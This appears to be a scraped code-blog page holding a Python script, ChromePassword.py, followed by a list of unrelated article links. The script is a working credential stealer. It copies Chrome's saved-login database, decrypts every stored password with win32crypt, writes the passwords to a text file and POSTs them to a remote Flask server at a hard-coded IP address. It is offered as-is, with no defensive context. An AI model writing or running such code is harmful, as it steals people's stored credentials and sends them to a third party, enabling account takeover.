ChromePassword
2024-09-05 10:18:23
# -*- coding: utf-8 -*-
2# @Author : pwf
3
4# @Date : 2019/5/18 22:53
5# Software : PyCharm
6# version:Python 3.6.8
7# @File : ChromePassword.py
8import os
10import shutil
11import sqlite3
12import win32crypt
13import json
14import requests
15
16APP_DATA_PATH = os.environ["LOCALAPPDATA"]
17DB_PATH = r'GoogleChromeUser DataDefaultLogin Data'
18
19class ChromePassword:
21
22 def __init__(self):
23 self.passwordsList = []
24
25 def get_chrome_db(self):
26 _full_path = os.path.join(APP_DATA_PATH, DB_PATH)
27 _tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
28 if os.path.exists(_tmp_file):
29 os.remove(_tmp_file)
30 shutil.copyfile(_full_path, _tmp_file)
31 self.show_passwords(_tmp_file)
32
33 def show_passwords(self, db_file):
34 conn = sqlite3.connect(db_file)
35 _sql = '''select signon_realm,username_value,password_value from logins'''
36 for row in conn.execute(_sql):
37 ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
38 # 密码解析后得到的是字节码,需要进行解码操作
39 _info = 'url: %-40s username: %-20s password: %s
' %
40 (row[0][:50], row[1], ret[1].decode())
41 self.passwordsList.append(_info)
42 conn.close()
43 os.remove(db_file)
44
45 def save_passwords(self):
46 with open('password.txt', 'w', encoding='utf-8') as f:
47 f.writelines(self.passwordsList)
48
49 def transfer_passwords(self):
50 try:
51 # 此处填写远端Flask对应的IP:PORT
52 requests.post('http://192.168.1.102:9999/index',
53 data=json.dumps(self.passwordsList))
54 except requests.exceptions.ConnectionError:
55 pass
56
57if __name__ == '__main__':
59 Main = ChromePassword()
60 Main.get_chrome_db()
61 Main.save_passwords()
62 Main.transfer_passwords()
最新文章
- Bootstrap_列表组
- ThinkPHP 3.2.3(三)架构之模块化设计
- 接口或者http请求测试工具--chrome plug
- JAVA新手笔记 Intent对象和Bundle对象
- Java中查找文件并且打印输出指定文件下面的子目录
- IOS表情存入MYSQL数据库失败
- Android的UI设计
- JavaEE面试题库
- HashMap put,get操作
- [备忘]WCF中使用MessageContract的一些注意点
- C库专题(Day1)
- MFC 创建选项卡
- D - 小Y上学记——要迟到了!
- 切糕[HNOI2013]
- ASP.NET Core 实战:使用 NLog 将日志信息记录到 MongoDB
- DbHelperSQL 增加事务处理方法(2种)
- C语言权威指南和书单 - 专家级别
- 20172306 2018-2019-2 《Java程序设计》第五周学习总结
- bzoj2142: 礼物
- Angular CLI命令